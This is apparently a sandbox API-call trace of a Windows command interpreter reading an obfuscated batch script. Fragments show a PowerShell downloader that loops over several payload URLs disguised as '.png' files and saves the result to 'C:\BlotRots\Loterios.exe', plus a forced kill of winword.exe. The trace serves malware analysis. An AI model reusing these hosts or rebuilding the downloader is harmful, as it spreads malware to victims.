RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f94a220) returned 1 [0167.472] _wcsicmp (_String1="POWerShell", _String2=")") returned 71 [0167.472] _wcsicmp (_String1="FOR", _String2="POWerShell") returned -10 [0167.472] _wcsicmp (_String1="FOR/?", _String2="POWerShell") returned -10 [0167.472] _wcsicmp (_String1="IF", _String2="POWerShell") returned -7 [0167.472] _wcsicmp (_String1="IF/?", _String2="POWerShell") returned -7 [0167.472] _wcsicmp (_String1="REM", _String2="POWerShell") returned 2 [0167.472] _wcsicmp (_String1="REM/?", _String2="POWerShell") returned 2 [0167.472] GetProcessHeap () returned 0x20b0f920000 [0167.472] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0xb0) returned 0x20b0f92e4d0 [0167.472] GetProcessHeap () returned 0x20b0f920000 [0167.472] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0x26) returned 0x20b0f956f50 [0167.472] _get_osfhandle (_FileHandle=3) returned 0xa0 [0167.472] SetFilePointer (in: hFile=0xa0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x71f [0167.472] ReadFile (in: hFile=0xa0, lpBuffer=0x7ff6e2e69970, nNumberOfBytesToRead=0x1fff, lpNumberOfBytesRead=0x9cb92fec50, lpOverlapped=0x0 | out: lpBuffer=0x7ff6e2e69970*, lpNumberOfBytesRead=0x9cb92fec50*=0x1096, lpOverlapped=0x0) returned 1 [0167.473] SetFilePointer (in: hFile=0xa0, lDistanceToMove=1831, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x727 [0167.473] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff6e2e69970, cbMultiByte=8, lpWideCharStr=0x7ff6e2e73c30, cchWideChar=8191 | out: lpWideCharStr="Forea^\r\n /IM \"winword.exe\" /F\r\nn this page. Synta \r\nSyntax in Windows Vista, 7, ...3 \r\nta, 7, ...\r\n \r\n") returned 8 [0167.473] _get_osfhandle (_FileHandle=3) returned 0xa0 [0167.473] GetFileType (hFile=0xa0) returned 0x1 [0167.473] _get_osfhandle (_FileHandle=3) returned 0xa0 [0167.473] SetFilePointer (in: hFile=0xa0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x727 [0167.473] GetProcessHeap () returned 0x20b0f920000 [0167.473] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0x4012) returned 0x20b0f94a220 [0167.473] GetProcessHeap () returned 0x20b0f920000 [0167.473] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f94a220) returned 1 [0167.473] _get_osfhandle (_FileHandle=3) returned 0xa0 [0167.473] SetFilePointer (in: hFile=0xa0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x727 [0167.473] ReadFile (in: hFile=0xa0, lpBuffer=0x7ff6e2e69970, nNumberOfBytesToRead=0x1fff, lpNumberOfBytesRead=0x9cb92fec50, lpOverlapped=0x0 | out: lpBuffer=0x7ff6e2e69970*, lpNumberOfBytesRead=0x9cb92fec50*=0x108e, lpOverlapped=0x0) returned 1 [0167.473] SetFilePointer (in: hFile=0xa0, lDistanceToMove=1840, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x730 [0167.473] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff6e2e69970, cbMultiByte=9, lpWideCharStr=0x7ff6e2e73c30, cchWideChar=8191 | out: lpWideCharStr="ch($ur^\r\n/IM \"winword.exe\" /F\r\nn this page. Synta \r\nSyntax in Windows Vista, 7, ...3 \r\nta, 7, ...\r\n \r\n") returned 9 [0167.473] _get_osfhandle (_FileHandle=3) returned 0xa0 [0167.473] GetFileType (hFile=0xa0) returned 0x1 [0167.473] _get_osfhandle (_FileHandle=3) returned 0xa0 [0167.473] SetFilePointer (in: hFile=0xa0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x730 [0167.474] GetProcessHeap () returned 0x20b0f920000 [0167.474] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0x4012) returned 0x20b0f94a220 [0167.474] GetProcessHeap () returned 0x20b0f920000 [0167.474] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f94a220) returned 1 [0167.474] _get_osfhandle (_FileHandle=3) returned 0xa0 [0167.474] SetFilePointer (in: hFile=0xa0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x730 [0167.474] ReadFile (in: hFile=0xa0, lpBuffer=0x7ff6e2e69970, nNumberOfBytesToRead=0x1fff, lpNumberOfBytesRead=0x9cb92fec50, lpOverlapped=0x0 | out: lpBuffer=0x7ff6e2e69970*, lpNumberOfBytesRead=0x9cb92fec50*=0x1085, lpOverlapped=0x0) returned 1 [0167.474] SetFilePointer (in: hFile=0xa0, lDistanceToMove=1847, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x737 [0167.474] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff6e2e69970, cbMultiByte=7, lpWideCharStr=0x7ff6e2e73c30, cchWideChar=8191 | out: lpWideCharStr="l in^\r\n\r\n/IM \"winword.exe\" /F\r\nn this page. Synta \r\nSyntax in Windows Vista, 7, ...3 \r\nta, 7, ...\r\n \r\n") returned 7 [0167.474] _get_osfhandle (_FileHandle=3) returned 0xa0 [0167.474] GetFileType (hFile=0xa0) returned 0x1 [0167.474] _get_osfhandle (_FileHandle=3) returned 0xa0 [0167.474] SetFilePointer (in: hFile=0xa0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x737 [0167.474] GetProcessHeap () returned 0x20b0f920000 [0167.474] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0x4012) returned 0x20b0f94a220 [0167.474] GetProcessHeap () returned 0x20b0f920000 [0167.474] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f94a220) returned 1 [0167.474] _get_osfhandle (_FileHandle=3) returned 0xa0 [0167.475] SetFilePointer (in: hFile=0xa0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x737 [0167.475] ReadFile (in: hFile=0xa0, lpBuffer=0x7ff6e2e69970, nNumberOfBytesToRead=0x1fff, lpNumberOfBytesRead=0x9cb92fec50, lpOverlapped=0x0 | out: lpBuffer=0x7ff6e2e69970*, lpNumberOfBytesRead=0x9cb92fec50*=0x107e, lpOverlapped=0x0) returned 1 [0167.475] SetFilePointer (in: hFile=0xa0, lDistanceToMove=1854, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x73e [0167.475] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff6e2e69970, cbMultiByte=7, lpWideCharStr=0x7ff6e2e73c30, cchWideChar=8191 | out: lpWideCharStr=" @('^\r\n\r\n/IM \"winword.exe\" /F\r\nn this page. Synta \r\nSyntax in Windows Vista, 7, ...3 \r\nta, 7, ...\r\n \r\n") returned 7 [0167.475] _get_osfhandle (_FileHandle=3) returned 0xa0 [0167.475] GetFileType (hFile=0xa0) returned 0x1 [0167.475] _get_osfhandle (_FileHandle=3) returned 0xa0 [0167.475] SetFilePointer (in: hFile=0xa0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x73e [0167.475] GetProcessHeap () returned 0x20b0f920000 [0167.475] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0x4012) returned 0x20b0f94a220 [0167.475] GetProcessHeap () returned 0x20b0f920000 [0167.475] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f94a220) returned 1 [0167.475] _get_osfhandle (_FileHandle=3) returned 0xa0 [0167.475] SetFilePointer (in: hFile=0xa0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x73e [0167.475] ReadFile (in: hFile=0xa0, lpBuffer=0x7ff6e2e69970, nNumberOfBytesToRead=0x1fff, lpNumberOfBytesRead=0x9cb92fec50, lpOverlapped=0x0 | out: lpBuffer=0x7ff6e2e69970*, lpNumberOfBytesRead=0x9cb92fec50*=0x1077, lpOverlapped=0x0) returned 1 [0167.475] SetFilePointer (in: hFile=0xa0, lDistanceToMove=2276, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x8e4 [0167.475] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff6e2e69970, cbMultiByte=422, lpWideCharStr=0x7ff6e2e73c30, cchWideChar=8191 | out: lpWideCharStr="http://rijschoolfastandserious.nl/rprmloaw/111111.png','http://nanfeiqiaowang.com/tsxwe/111111.png','http://forum.insteon.com/suowb/111111.png','http://webtest.pp.ua/yksrpucvx/111111.png','http://quoraforum.com/btmlxjxmyxb/111111.png','http://quickinsolutions.com/wfqggeott/111111.png','http://bronco.is/pdniovzkgwwt/111111.png','http://studiomascellaro.it/wnzzsbzbd/111111.png','http://craniotylla.ch/vzufnt/111111.png^\r\n") returned 422 [0167.475] _get_osfhandle (_FileHandle=3) returned 0xa0 [0167.476] GetFileType (hFile=0xa0) returned 0x1 [0167.476] _get_osfhandle (_FileHandle=3) returned 0xa0 [0167.476] SetFilePointer (in: hFile=0xa0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x8e4 [0167.476] GetProcessHeap () returned 0x20b0f920000 [0167.476] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0x4012) returned 0x20b0f94a220 [0167.476] GetProcessHeap () returned 0x20b0f920000 [0167.476] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f94a220) returned 1 [0167.476] _get_osfhandle (_FileHandle=3) returned 0xa0 [0167.476] SetFilePointer (in: hFile=0xa0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x8e4 [0167.476] ReadFile (in: hFile=0xa0, lpBuffer=0x7ff6e2e69970, nNumberOfBytesToRead=0x1fff, lpNumberOfBytesRead=0x9cb92fec50, lpOverlapped=0x0 | out: lpBuffer=0x7ff6e2e69970*, lpNumberOfBytesRead=0x9cb92fec50*=0xed1, lpOverlapped=0x0) returned 1 [0167.476] SetFilePointer (in: hFile=0xa0, lDistanceToMove=2282, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x8ea [0167.476] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff6e2e69970, cbMultiByte=6, lpWideCharStr=0x7ff6e2e73c30, cchWideChar=8191 | out: lpWideCharStr="','^\r\n/rijschoolfastandserious.nl/rprmloaw/111111.png','http://nanfeiqiaowang.com/tsxwe/111111.png','http://forum.insteon.com/suowb/111111.png','http://webtest.pp.ua/yksrpucvx/111111.png','http://quoraforum.com/btmlxjxmyxb/111111.png','http://quickinsolutions.com/wfqggeott/111111.png','http://bronco.is/pdniovzkgwwt/111111.png','http://studiomascellaro.it/wnzzsbzbd/111111.png','http://craniotylla.ch/vzufnt/111111.png^\r\n") returned 6 [0167.476] _get_osfhandle (_FileHandle=3) returned 0xa0 [0167.476] GetFileType (hFile=0xa0) returned 0x1 [0167.476] _get_osfhandle (_FileHandle=3) returned 0xa0 [0167.476] SetFilePointer (in: hFile=0xa0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x8ea [0167.476] GetProcessHeap () returned 0x20b0f920000 [0167.476] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0x4012) returned 0x20b0f94a220 [0167.476] GetProcessHeap () returned 0x20b0f920000 [0167.476] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f94a220) returned 1 [0167.477] _get_osfhandle (_FileHandle=3) returned 0xa0 [0167.477] SetFilePointer (in: hFile=0xa0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x8ea [0167.477] ReadFile (in: hFile=0xa0, lpBuffer=0x7ff6e2e69970, nNumberOfBytesToRead=0x1fff, lpNumberOfBytesRead=0x9cb92fec50, lpOverlapped=0x0 | out: lpBuffer=0x7ff6e2e69970*, lpNumberOfBytesRead=0x9cb92fec50*=0xecb, lpOverlapped=0x0) returned 1 [0167.477] SetFilePointer (in: hFile=0xa0, lDistanceToMove=2330, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x91a [0167.477] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff6e2e69970, cbMultiByte=48, lpWideCharStr=0x7ff6e2e73c30, cchWideChar=8191 | out: lpWideCharStr="http://marineworks.eu/dwaunrsamlbq/111111.png^\r\n1.png','http://nanfeiqiaowang.com/tsxwe/111111.png','http://forum.insteon.com/suowb/111111.png','http://webtest.pp.ua/yksrpucvx/111111.png','http://quoraforum.com/btmlxjxmyxb/111111.png','http://quickinsolutions.com/wfqggeott/111111.png','http://bronco.is/pdniovzkgwwt/111111.png','http://studiomascellaro.it/wnzzsbzbd/111111.png','http://craniotylla.ch/vzufnt/111111.png^\r\n") returned 48 [0167.477] _get_osfhandle (_FileHandle=3) returned 0xa0 [0167.477] GetFileType (hFile=0xa0) returned 0x1 [0167.477] _get_osfhandle (_FileHandle=3) returned 0xa0 [0167.477] SetFilePointer (in: hFile=0xa0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x91a [0167.477] GetProcessHeap () returned 0x20b0f920000 [0167.477] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0x4012) returned 0x20b0f94a220 [0167.477] GetProcessHeap () returned 0x20b0f920000 [0167.477] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f94a220) returned 1 [0167.477] _get_osfhandle (_FileHandle=3) returned 0xa0 [0167.477] SetFilePointer (in: hFile=0xa0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x91a [0167.477] ReadFile (in: hFile=0xa0, lpBuffer=0x7ff6e2e69970, nNumberOfBytesToRead=0x1fff, lpNumberOfBytesRead=0x9cb92fec50, lpOverlapped=0x0 | out: lpBuffer=0x7ff6e2e69970*, lpNumberOfBytesRead=0x9cb92fec50*=0xe9b, lpOverlapped=0x0) returned 1 [0167.478] SetFilePointer (in: hFile=0xa0, lDistanceToMove=2341, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x925 [0167.478] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff6e2e69970, cbMultiByte=11, lpWideCharStr=0x7ff6e2e73c30, cchWideChar=8191 | out: lpWideCharStr="')) { tr^\r\nneworks.eu/dwaunrsamlbq/111111.png^\r\n1.png','http://nanfeiqiaowang.com/tsxwe/111111.png','http://forum.insteon.com/suowb/111111.png','http://webtest.pp.ua/yksrpucvx/111111.png','http://quoraforum.com/btmlxjxmyxb/111111.png','http://quickinsolutions.com/wfqggeott/111111.png','http://bronco.is/pdniovzkgwwt/111111.png','http://studiomascellaro.it/wnzzsbzbd/111111.png','http://craniotylla.ch/vzufnt/111111.png^\r\n") returned 11 [0167.478] _get_osfhandle (_FileHandle=3) returned 0xa0 [0167.478] GetFileType (hFile=0xa0) returned 0x1 [0167.478] _get_osfhandle (_FileHandle=3) returned 0xa0 [0167.479] SetFilePointer (in: hFile=0xa0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x925 [0167.479] GetProcessHeap () returned 0x20b0f920000 [0167.479] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0x4012) returned 0x20b0f94a220 [0167.479] GetProcessHeap () returned 0x20b0f920000 [0167.479] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f94a220) returned 1 [0167.479] _get_osfhandle (_FileHandle=3) returned 0xa0 [0167.479] SetFilePointer (in: hFile=0xa0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x925 [0167.479] ReadFile (in: hFile=0xa0, lpBuffer=0x7ff6e2e69970, nNumberOfBytesToRead=0x1fff, lpNumberOfBytesRead=0x9cb92fec50, lpOverlapped=0x0 | out: lpBuffer=0x7ff6e2e69970*, lpNumberOfBytesRead=0x9cb92fec50*=0xe90, lpOverlapped=0x0) returned 1 [0167.479] SetFilePointer (in: hFile=0xa0, lDistanceToMove=2350, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x92e [0167.479] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff6e2e69970, cbMultiByte=9, lpWideCharStr=0x7ff6e2e73c30, cchWideChar=8191 | out: lpWideCharStr="y{$pat^\r\n\r\nneworks.eu/dwaunrsamlbq/111111.png^\r\n1.png','http://nanfeiqiaowang.com/tsxwe/111111.png','http://forum.insteon.com/suowb/111111.png','http://webtest.pp.ua/yksrpucvx/111111.png','http://quoraforum.com/btmlxjxmyxb/111111.png','http://quickinsolutions.com/wfqggeott/111111.png','http://bronco.is/pdniovzkgwwt/111111.png','http://studiomascellaro.it/wnzzsbzbd/111111.png','http://craniotylla.ch/vzufnt/111111.png^\r\n") returned 9 [0167.479] _get_osfhandle (_FileHandle=3) returned 0xa0 [0167.479] GetFileType (hFile=0xa0) returned 0x1 [0167.479] _get_osfhandle (_FileHandle=3) returned 0xa0 [0167.479] SetFilePointer (in: hFile=0xa0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x92e [0167.479] GetProcessHeap () returned 0x20b0f920000 [0167.479] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0x4012) returned 0x20b0f94a220 [0167.479] GetProcessHeap () returned 0x20b0f920000 [0167.479] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f94a220) returned 1 [0167.480] _get_osfhandle (_FileHandle=3) returned 0xa0 [0167.480] SetFilePointer (in: hFile=0xa0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x92e [0167.480] ReadFile (in: hFile=0xa0, lpBuffer=0x7ff6e2e69970, nNumberOfBytesToRead=0x1fff, lpNumberOfBytesRead=0x9cb92fec50, lpOverlapped=0x0 | out: lpBuffer=0x7ff6e2e69970*, lpNumberOfBytesRead=0x9cb92fec50*=0xe87, lpOverlapped=0x0) returned 1 [0167.480] SetFilePointer (in: hFile=0xa0, lDistanceToMove=2385, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x951 [0167.480] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff6e2e69970, cbMultiByte=35, lpWideCharStr=0x7ff6e2e73c30, cchWideChar=8191 | out: lpWideCharStr="h = 'C:\\BlotRots\\Loterios.exe'; ^\r\n111111.png^\r\n1.png','http://nanfeiqiaowang.com/tsxwe/111111.png','http://forum.insteon.com/suowb/111111.png','http://webtest.pp.ua/yksrpucvx/111111.png','http://quoraforum.com/btmlxjxmyxb/111111.png','http://quickinsolutions.com/wfqggeott/111111.png','http://bronco.is/pdniovzkgwwt/111111.png','http://studiomascellaro.it/wnzzsbzbd/111111.png','http://craniotylla.ch/vzufnt/111111.png^\r\n") returned 35 [0167.480] _get_osfhandle (_FileHandle=3) returned 0xa0 [0167.480] GetFileType (hFile=0xa0) returned 0x1 [0167.480] _get_osfhandle (_FileHandle=3) returned 0xa0 [0167.480] SetFilePointer (in: hFile=0xa0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x951 [0167.480] GetProcessHeap () returned 0x20b0f920000 [0167.480] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0x4012) returned 0x20b0f94a220 [0167.480] GetProcessHeap () returned 0x20b0f920000 [0167.480] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f94a220) returned 1 [0167.480] _get_osfhandle (_FileHandle=3) returned 0xa0 [0167.480] SetFilePointer (in: hFile=0xa0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x951 [0167.480] ReadFile (in: hFile=0xa0, lpBuffer=0x7ff6e2e69970, nNumberOfBytesToRead=0x1fff, lpNumberOfBytesRead=0x9cb92fec50, lpOverlapped=0x0 | out: lpBuffer=0x7ff6e2e69970*, lpNumberOfBytesRead=0x9cb92fec50*=0xe64, lpOverlapped=0x0) returned 1 [0167.480] SetFilePointer (in: hFile=0xa0, lDistanceToMove=2391, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x957 [0167.480] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff6e2e69970, cbMultiByte=6, lpWideCharStr=0x7ff6e2e73c30, cchWideChar=8191 | out: lpWideCharStr="(Ne^\r\n:\\BlotRots\\Loterios.exe'; ^\r\n111111.png^\r\n1.png','http://nanfeiqiaowang.com/tsxwe/111111.png','http://forum.insteon.com/suowb/111111.png','http://webtest.pp.ua/yksrpucvx/111111.png','http://quoraforum.com/btmlxjxmyxb/111111.png','http://quickinsolutions.com/wfqggeott/111111.png','http://bronco.is/pdniovzkgwwt/111111.png','http://studiomascellaro.it/wnzzsbzbd/111111.png','http://craniotylla.ch/vzufnt/111111.png^\r\n") returned 6 [0167.481] _get_osfhandle (_FileHandle=3) returned 0xa0 [0167.481] GetFileType (hFile=0xa0) returned 0x1 [0167.481] _get_osfhandle (_FileHandle=3) returned 0xa0 [0167.481] SetFilePointer (in: hFile=0xa0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x957 [0167.481] GetProcessHeap () returned 0x20b0f920000 [0167.481] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0x4012) returned 0x20b0f94a220 [0167.481] GetProcessHeap () returned 0x20b0f920000 [0167.481] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f94a220) returned 1 [0167.481] _get_osfhandle (_FileHandle=3) returned 0xa0 [0167.481] SetFilePointer (in: hFile=0xa0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x957 [0167.481] ReadFile (in: hFile=0xa0, lpBuffer=0x7ff6e2e69970, nNumberOfBytesToRead=0x1fff, lpNumberOfBytesRead=0x9cb92fec50, lpOverlapped=0x0 | out: lpBuffer=0x7ff6e2e69970*, lpNumberOfBytesRead=0x9cb92fec50*=0xe5e, lpOverlapped=0x0) returned 1 [0167.481] SetFilePointer (in: hFile=0xa0, lDistanceToMove=2400, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x960 [0167.481] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff6e2e69970, cbMultiByte=9, lpWideCharStr=0x7ff6e2e73c30, cchWideChar=8191 | out: lpWideCharStr="w-Obje^\r\nlotRots\\Loterios.exe'; ^\r\n111111.png^\r\n1.png','http://nanfeiqiaowang.com/tsxwe/111111.png','http://forum.insteon.com/suowb/111111.png','http://webtest.pp.ua/yksrpucvx/111111.png','http://quoraforum.com/btmlxjxmyxb/111111.png','http://quickinsolutions.com/wfqggeott/111111.png','http://bronco.is/pdniovzkgwwt/111111.png','http://studiomascellaro.it/wnzzsbzbd/111111.png','http://craniotylla.ch/vzufnt/111111.png^\r\n") returned 9 [0167.481] _get_osfhandle (_FileHandle=3) returned 0xa0 [0167.481] GetFileType (hFile=0xa0) returned 0x1 [0167.481] _get_osfhandle (_FileHandle=3) returned 0xa0 [0167.481] SetFilePointer (in: hFile=0xa0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x960 [0167.481] GetProcessHeap () returned 0x20b0f920000 [0167.481] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0x4012) returned 0x20b0f94a220 [0167.481] GetProcessHeap () returned 0x20b0f920000 [0167.481] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f94a220) returned 1 [0167.482] _get_osfhandle (_FileHandle=3) returned 0xa0 [0167.482] SetFilePointer (in: hFile=0xa0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x960 [0167.482] ReadFile (in: hFile=0xa0, lpBuffer=0x7ff6e2e69970, nNumberOfBytesToRead=0x1fff, lpNumberOfBytesRead=0x9cb92fec50, lpOverlapped=0x0 | out: lpBuffer=0x7ff6e2e69970*, lpNumberOfBytesRead=0x9cb92fec50*=0xe55, lpOverlapped=0x0) returned 1 [0167.482] SetFilePointer (in: hFile=0xa0, lDistanceToMove=2408, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x968 [0167.482] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff6e2e69970, cbMultiByte=8, lpWideCharStr=0x7ff6e2e73c30, cchWideChar=8191 | out: lpWideCharStr="ct Ne^\r\n\nlotRots\\Loterios.exe'; ^\r\n111111.png^\r\n1.png','http://nanfeiqiaowang.com/tsxwe/111111.png','http://forum.insteon.com/suowb/111111.png','http://webtest.pp.ua/yksrpucvx/111111.png','http://quoraforum.com/btmlxjxmyxb/111111.png','http://quickinsolutions.com/wfqggeott/111111.png','http://bronco.is/pdniovzkgwwt/111111.png','http://studiomascellaro.it/wnzzsbzbd/111111.png','http://craniotylla.ch/vzufnt/111111.png^\r\n") returned 8 [0167.482] _get_osfhandle (_FileHandle=3) returned 0xa0 [0167.482] GetFileType (hFile=0xa0) returned 0x1 [0167.482] _get_osfhandle (_FileHandle=3) returned 0xa0 [0167.482] SetFilePointer (in: hFile=0xa0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x968 [0167.482] GetProcessHeap () returned 0x20b0f920000 [0167.482] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0x4012) returned 0x20b0f94a220 [0167.482] GetProcessHeap () returned 0x20b0f920000 [0167.482] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f94a220) returned 1 [0167.482] _get_osfhandle (_FileHandle=3) returned 0xa0 [0167.482] SetFilePointer (in: hFile=0xa0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x968 [0167.482] ReadFile (in: hFile=0xa0, lpBuffer=0x7ff6e2e69970, nNumberOfBytesToRead=0x1fff, lpNumberOfBytesRead=0x9cb92fec50, lpOverlapped=0x0 | out: lpBuffer=0x7ff6e2e69970*, lpNumberOfBytesRead=0x9cb92fec50*=0xe4d, lpOverlapped=0x0) returned 1 [0167.482] SetFilePointer (in: hFile=0xa0, lDistanceToMove=2415, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x96f [0167.483] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff6e2e69970, cbMultiByte=7, lpWideCharStr=0x7ff6e2e73c30, cchWideChar=8191 | out: lpWideCharStr="t.We^\r\n\n\nlotRots\\Loterios.exe'; 